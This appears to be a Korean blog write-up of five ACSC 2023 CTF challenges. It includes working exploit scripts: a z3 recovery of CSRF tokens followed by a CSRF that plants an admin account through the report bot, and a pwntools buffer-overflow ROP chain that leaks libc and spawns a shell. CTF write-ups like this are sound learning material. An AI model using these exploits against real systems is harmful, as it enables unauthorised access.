CTF Writeup

2023 ACSC CTF Writeup - warmup + ngo

LittleDev0617 2023. 2. 26. 13:16

24문제 중 6문제 풀었다. 웜업 문제를 푼 다음 easy-ssti를 보다가, 깃헙 소스를 다 뒤져도 방법이 없어보여서 포기하고 다음 날 ngo를 풀었다.

 

1. Merkle Hellman

#!/usr/bin/env python3
import random
import binascii

def egcd(a, b):
	if a == 0:
		return (b, 0, 1)
	else:
		g, y, x = egcd(b % a, a)
		return (g, x - (b // a) * y, y)

def modinv(a, m):
	g, x, y = egcd(a, m)
	if g != 1:
		raise Exception('modular inverse does not exist')
	else:
		return x % m

def gcd(a, b): 
	if a == 0: 
		return b 
	return gcd(b % a, a) 

flag = open("flag.txt","rb").read()
# Generate superincreasing sequence
w = [random.randint(1,256)]
s = w[0]
for i in range(6):
	num = random.randint(s+1,s+256)
	w.append(num)
	s += num

# Generate private key
total = sum(w)
q = random.randint(total+1,total+256)
r = 0
while gcd(r,q) != 1:
	r = random.randint(100, q)

# Calculate public key
b = []
for i in w:
	b.append((i * r) % q)

# Encrypting
c = []
for f in flag:
	s = 0
	for i in range(7):
		if f & (64>>i):
			s += b[i]
	c.append(s)

print(f"Public Key = {b}")
print(f"Private Key = {w,q}")
print(f"Ciphertext = {c}")

# Output:
# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

 

pk = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
c = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

h = {}
for i in range(ord(' '), ord('}') + 1):
    s = 0
    for j in range(7):
        if i & (64>>j):
            s += pk[j]
    h[s] = chr(i)

for i in c:
    print(h[i],end='')
# ACSC{E4zY_P3@zy}

 

 

2. Admin Dashboard

admin 에게 report url를 보낼 수 있는데, addadmin 페이지가 존재한다. addadmin으로 admin user를 추가할 수 있는데,

이 때 세션 아이디와 시크릿 값을 기반으로 csrf-token을 생성한다.

세션 아이디가 x, csrf-token이 y라면 식은 다음과 같다.

y = (a*x + b) % c

따라서 임의의 아이디 2개를 생성한 후 각각의 csrf-token값을 토대로 a, b, c를 구할 수 있다.

<?php
	ini_set('display_errors', 1);
	ini_set('display_startup_errors', 1);
	error_reporting(E_ALL);
	$params = session_get_cookie_params();
	$params['httponly'] = true;
	$params['samesite'] = 'Lax';
	session_set_cookie_params($params);

	session_start();
	if (!isset($_SESSION["user"])){
		echo '<meta http-equiv="refresh" content="0;url=login">';
		die();
	}
	$conn = new mysqli("localhost","admin","admin","dashboard_db");
	if ($conn->connect_error) {
			die("Connection failed: " . $conn->connect_error);
	}

	$sql = "SELECT * FROM secrets";
	$stmt = $conn->prepare($sql);
	$stmt->execute();
	$result = $stmt->get_result();
	$row = $result->fetch_assoc();
	if($row){
		$A = gmp_import($row['A']);
		$C = gmp_import($row['C']);
		$M = gmp_init("0xc4f3b4b3deadbeef1337c0dedeadc0dd");
	}
	if (!isset($_SESSION['X'])){
		$X = gmp_import($_SESSION["user"]["username"]);
		$_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $X),$C),$M);
		$_SESSION["token-expire"] = time() + 30; 
	}else{
		if(time() >= $_SESSION["token-expire"]){
			$_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $_SESSION['X']),$C),$M);
			$_SESSION["token-expire"] = time() + 30; 
		}
	}
?>
<html>


<main role="main" class="container">
	<div class="col-xl-6 mt-5">
		<form class="form-add-note" action="addadmin" method="POST">
		<label for="title" class="sr-only">Username</label>
		<input type="text" name="username" class="form-control" placeholder="Username" required="" autofocus="">
		<input type="password" name="password" class="form-control" placeholder="Password" required="" autofocus="">
		<input type="hidden" name="csrf-token" value="<?=gmp_strval($_SESSION['X'],16)?>">
		<button class="btn btn-primary btn-block mt-2" type="submit">Add admin user</button>
		</form>
		<?php
			if(isset($_REQUEST['username']) && isset($_REQUEST['password']) && isset($_REQUEST['csrf-token'])){
				if($_SESSION["user"]["role"] !== "admin"){
					echo "<p class='text-danger'>No permission!</p>";
				}else{
					if($_REQUEST['csrf-token'] === gmp_strval($_SESSION['X'],16)){
						$sql = "INSERT INTO users (username, password, role) VALUES (?,?,'admin')";
						$stmt = $conn->prepare($sql);
						$stmt->bind_param("ss", $_REQUEST['username'], $_REQUEST['password']);
						$result = $stmt->execute();
						echo "<p class='text-success'>Added successfully!</p>";
					}else{
						echo "<p class='text-danger'>Wrong token!</p>";
					}
				}
			}
		?>
	</div>
</main>

</body>

</html>

z3을 이용하여 값을 얻고, addadmin page에서 $_REQUEST로 추가할 username, password, csrf-token 을 가져오기 때문에 get query로 보내면 된다.

from requests import Session
from z3 import *

url = 'http://admin-dashboard.chal.ctf.acsc.asia/'
n = 0xc4f3b4b3deadbeef1337c0dedeadc0dd
solver = Solver()
x = Int('x')
y = Int('y')

for i in range(2):
    X = int.from_bytes(b'aaaa','big') + i + 10
    username = bytes.fromhex(hex(X)[2:]).decode()
    print(hex(X), username)
    s = Session()
    s.get(url + 'register', params={'username':username,'password':'1234'})
    s.get(url + 'login', params={'username':username,'password':'1234'})
    r = s.get(url + 'addadmin')
    print(r.text)
    csrf = int(r.text.split('name="csrf-token" value="')[1].split('">')[0],16)
    solver.add((x * X + y) % n == csrf)
    print(f'x * {X} + y == {csrf}')

if solver.check():
    print(solver.model())

#[y = -64106586517050603013546860027570773970653910744,
# x = 39238395068069510873877941548003979614]
x = 39238395068069510873877941548003979614
y = -64106586517050603013546860027570773970653910744
X = int.from_bytes(b'admin','big')
csrf = hex((x * X + y) % n)[2:]

print('csrf :', csrf)
username = 'hahahaha'; password = 'asdfasdfqwer'
s = Session()
s.get(url + 'register', params={'username':'hello','password':'1234'})
s.get(url + 'login', params={'username':'hello','password':'1234'})
print(f'http://admin-dashboard.chal.ctf.acsc.asia/addadmin?username={username}&password={password}&csrf-token={csrf}')
s.post(url + 'report', data={'url':f'http://localhost/addadmin?username={username}&password={password}&csrf-token={csrf}'})

r = s.get(url + 'login', params={'username':username,'password':password})
print(r.text)

hahahaha / asdfasdfqwer 로 로그인하면 다음과 같이 정답이 나온다.

3. serverless

var a = document['querySelector']('form');
a['addEventListener']('submit', function (c) {
    c['preventDefault']();
    var d = document['querySelector']('textarea[name=\'message\']')['value'],
        e = document['querySelector']('input[name=\'password\']')['value'],
        f = document['querySelector']('input[name=\'encrypt\']'),
        g = b(d, e),
        h = document['querySelector']('p.response');
    h && h['remove']();
    var i = document['createElement']('p');
    i['classList']['add']('response'), i['textContent'] = 'Encrypted message: ' + g, f['insertAdjacentElement']('afterend', i);
});

function b(d, f) {
    var g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7n, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577n, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9n, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3n, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbbn, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fdn, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699n, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229n, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5fn, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287n],
        h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1n, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35n, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611n, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67n, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087n, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7n, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95n, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569n, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49n, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397n],
        j = Math['floor'](Math['random']() * (0x313 * -0x8 + 0x24c1 + -0xc1f)),
        k = Math['floor'](Math['random']() * (-0x725 + -0x1546 + 0x1c75)),
        l = g[j],
        o = h[k],
        r = l * o,
        s = Math['floor'](Math['random']() * (0x2647 + 0x1 * 0x2f5 + -0x2937)),
        t = Math['pow'](-0x14e6 + 0x43 * 0x55 + -0x7 * 0x31, Math['pow'](-0x14e1 * 0x1 + -0x2697 + 0x2e * 0x14b, s)) + (-0x235d + 0x2 * 0x82b + 0x3a * 0x54);

    function u(A) {
        var B = new TextEncoder()['encode'](A);
        let C = 0x0n;
        for (let D = 0x13c8 + 0x1 * 0x175b + -0x2b23; D < B['length']; D++) {
            C = (C << 0x8n) + BigInt(B[D]);
        }
        return C;
    }
    var v = u(d);

    function w(A, B, C) {
        if (B === -0x9d + 0x993 + 0x1f * -0x4a) return 0x1n;
        return B % (0x1 * 0x2dc + 0x28 * -0x12 + -0xa) === -0x2446 * -0x1 + 0x3 * 0xcd5 + -0x4ac5 * 0x1 ? w(A * A % C, B / (-0x6a3 * 0x5 + 0xcba + 0x1477 * 0x1), C) : A * w(A, B - (-0x1cd0 + 0x11fc + 0xad5), C) % C;
    }
    var x = w(v, t, r);
    let y = [];
    while (x > 0x1 * 0x371 + 0x1519 + -0x188a) {
        y['push'](Number(x & 0xffn)), x = x >> 0x8n;
    }
    y['push'](Number(s)), y['push'](Number(k)), y['push'](Number(j));
    var z = new TextEncoder()['encode'](f);
    for (let A = -0xa00 + 0x1 * 0x20e0 + -0x4 * 0x5b8; A < y['length']; ++A) {
        y[A] = y[A] ^ z[A % z['length']];
    }
    return btoa(y['reverse']());
}

난독화된 javascript 코드와 암호문, 비밀번호가 주어진다.
난독화를 어느정도 해제하면 다음과 같다.

function b(d, f) {
    var g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7n, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577n, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9n, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3n, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbbn, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fdn, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699n, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229n, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5fn, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287n],
        h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1n, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35n, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611n, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67n, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087n, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7n, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95n, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569n, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49n, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397n],
        j = Math['floor'](Math['random']() * (0x313 * -0x8 + 0x24c1 + -0xc1f)),
        k = Math['floor'](Math['random']() * (-0x725 + -0x1546 + 0x1c75)),
        l = g[j],
        o = h[k],
        r = l * o,
        s = Math['floor'](Math['random']() * (0x2647 + 0x1 * 0x2f5 + -0x2937)),
        t = Math['pow'](-0x14e6 + 0x43 * 0x55 + -0x7 * 0x31, Math['pow'](-0x14e1 * 0x1 + -0x2697 + 0x2e * 0x14b, s)) + (-0x235d + 0x2 * 0x82b + 0x3a * 0x54);
    // g, h : prime list
    // l, o : p, q
    // r : n
    // s : random
    // t : e = 2**(2**s) + 1
    
    function u(A) {
        var B = new TextEncoder()['encode'](A);
        let C = 0x0n;
        for (let D = 0; D < B['length']; D++) {
            C = (C << 0x8n) + BigInt(B[D]);
        }
        return C;
    }
    var v = u(d);

    function w(A, B, C) {
        if (B === 0) return 0x1n;
        return B % (2) === 0 ? w(A * A % C, B / 2, C) : A * w(A, B - 1, C) % C;
    }
    var x = w(v, t, r);
    let y = [];
    while (x > 0) {
        y['push'](Number(x & 0xffn)), x = x >> 0x8n;
    }
    y['push'](Number(s)), y['push'](Number(k)), y['push'](Number(j));
    var z = new TextEncoder()['encode'](f);
    for (let A = 0; A < y['length']; ++A) {
        y[A] = y[A] ^ z[A % z['length']];
    }
    return btoa(y['reverse']());
}

일단 암호문을 base64 decode -> reverse -> 'acscpass'와 xor 했을 때 맨 뒤의 숫자 3개는 s, k, j임을 알 수 있다.

s로는 t값을 알 수 있고, k와 j로는 l과 o를 알 수 있다. 

w 함수는 A**B % C 를 재귀함수로 구현한 것임을 슥 보면 알 수 있고, 따라서 x는 flag**t mod r임을 알 수 있다.

꼴을 보고 RSA 암호화임을 추측할 수 있는데, g와 h 배열이 각각 소수 배열이며 소수 배열에서 임의의 소수 2개 l과 o를 선택한 것임을 알 수 있다.

암호문에 s, k, j 가 포함되어있으니 RSA에서 p, q, e 를 모두 아는 상태이다.

따라서 e**-1 mod (p-1)(q-1) 로 d를 구해준 후 c**d mod n 해주면 plain text를 얻을 수 있다.

g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbb, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fd, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5f, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287]
h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397]
a = [117,96,98,107,7,43,220,233,126,131,201,15,244,105,252,125,10,166,219,230,250,82,211,101,195,39,240,158,174,59,103,153,122,36,67,179,224,108,9,88,191,91,14,224,193,52,183,215,11,26,30,183,133,161,169,91,48,229,99,199,165,100,218,0,165,41,55,118,227,236,80,116,120,125,10,123,125,131,106,128,154,133,55,5,63,236,69,27,201,118,180,74,213,131,47,200,116,52,49,120,86,124,178,92,246,119,98,95,86,104,64,30,54,20,109,133,155,122,11,87,16,223,162,160,215,209,136,249,221,136,232]
password = b'acscpass'
a.reverse()

for i in range(len(a)):
    a[i] ^= password[i % len(password)]

s, k, j = a[-3:]
a = a[:-3]

print(a)
p = g[j]
q = h[k]
phi = (p-1) * (q-1)
e = pow(2, pow(2,s)) + 1
d = pow(e,-1,phi)
N = p * q

s = 0
for i, n in enumerate(a):
    s |= n << 8 * i
print(hex(s))
print(bytes.fromhex(hex(pow(s, d, N))[2:]))

# ACSC{warmup_challenge_so_easy}

 

4. Vaccine

BOF가 터지기 때문에 s 와 s2에 같은 문자열이 담기게끔 한 후 i값을 strlen(s2)보다 큰 값으로 덮으면 A C G T 검사를 건너뛸 수 있고 strcmp까지 해결 가능하다. 이후는 64bit ROP로 쉘을 따면 된다.

from pwn import remote, p32, p64, context, ELF, u64
context.log_level = 'debug'
e = ELF('./vaccine')
libc = ELF('./libc.so.6')
p = remote('vaccine.chal.ctf.acsc.asia', 1337)

prdi = 0x401443
ppppr = 0x40143C
oneshot = 0xe3afe
main = 0x401236
payload = b''
payload += b'A'* 103 + b'\x00' + b'B' * (112-104) + b'A' * 103 + b'\x00' + b'A' * (8 + 8) + p32(200)
payload += b'C' * 4
payload += b'D' * 16
payload += b'E' * 8
payload += p64(prdi)
payload += p64(e.got['fgets'])
payload += p64(e.plt['printf'])
payload += p64(main)

p.sendlineafter(b': ', payload)
p.recvuntil(b'castle\x0a')
leak = u64(p.recv(6) + b'\x00\x00')
base = leak - libc.symbols['fgets']

print('%x' % base)

payload = b''
payload += b'A'* 103 + b'\x00' + b'B' * (112-104) + b'A' * 103 + b'\x00' + b'A' * (8 + 8) + p32(200)
payload += b'C' * 4
payload += b'D' * 16
payload += b'E' * 8
payload += p64(ppppr)
payload += p64(0) * 4
payload += p64(base + oneshot)

p.sendlineafter(b': ', payload)

p.interactive()

5. ngo

42**11 번 for 문을 돌면 대회 시간 안에 끝나지 않는다.

이 문제가 solvable 하다는 건 주기성을 가진다는 의미이고, 따라서 처음 값이 나올 때까지 돌려서 주기를 구한다.

for(long long int i = 0; i < 0xffFFffFFffFFffFF; i++)
{
    if(sub_14001550() == 0x3D2964F0)
    {
    	printf("%lld\n", i);
        break;
    }
}

0xffFFffFF 마다 돌아오는 것을 확인할 수 있다. 따라서 0xffFFffFF 번만 쭉 돌리면 12개 값 모두 구할 수 있다는 뜻이다.

a = []
for i in range(12):
	a.append((42**i + (a[i-1] if i != 0 else 0)) % 0xffFFffFF)
# [1, 43, 1807, 75895, 3187591, 133878823, 1327943272, 4234009885, 1734756076, 4140278473, 2093004067, 2006824915]

0 ~ 11까지 체크해야할 인덱스들만 구한 건데, 보다시피 작은 수가 뒤에 존재하기 때문에 C에서 편하게 계산하기 위해서 이를 정렬해주었다.

#include <stdio.h>
// ACSC{yUhFgRvQ2Afi}
unsigned int dword_14000801C = 0x3D2964F0;

unsigned int sub_140001550()
{
  int v1; // [rsp+8h] [rbp-8h]

  v1 = dword_14000801C & 1;
  dword_14000801C = dword_14000801C >> 1;
  dword_14000801C ^= -v1 & 0x80200003;
  return dword_14000801C;
}
int main()
{
    int indexTable[] = {0,1,2,3,4,5,6,8,11,10,9,7};
    long long int table[] = {1, 43, 1807, 75895, 3187591, 133878823, 1327943272, 1734756076, 2006824915, 2093004067, 4140278473, 4234009885};
    int xorTable[] = {1, 25, 239, 90, 250, 200, 46, 105, 49, 215, 129, 33};
    int cnt = 0;
    for (long long int i = 0; i < 0xffFFffFF; i++)
    {
        sub_140001550();
        if(i == table[cnt] - 1)
        {
            printf("[%d] : %c\n",indexTable[cnt], (unsigned char)dword_14000801C ^ xorTable[indexTable[cnt]]);
            cnt++;   
        }
    }
}

ACSC{yUhFgRvQ2Afi} 가 정답이 된다.

'CTF Writeup' 카테고리의 다른 글

Defcon 2023 Qualifier - kkkkklik writeup  (0) 2023.05.31
2022 Incognito CTF Writeup  (0) 2023.03.26
2022 Iris CTF  (0) 2023.01.08
Dreamhack Christmas CTF 2022 Writeup  (1) 2022.12.24
2022 Layer7 CTF Writeup  (0) 2022.12.19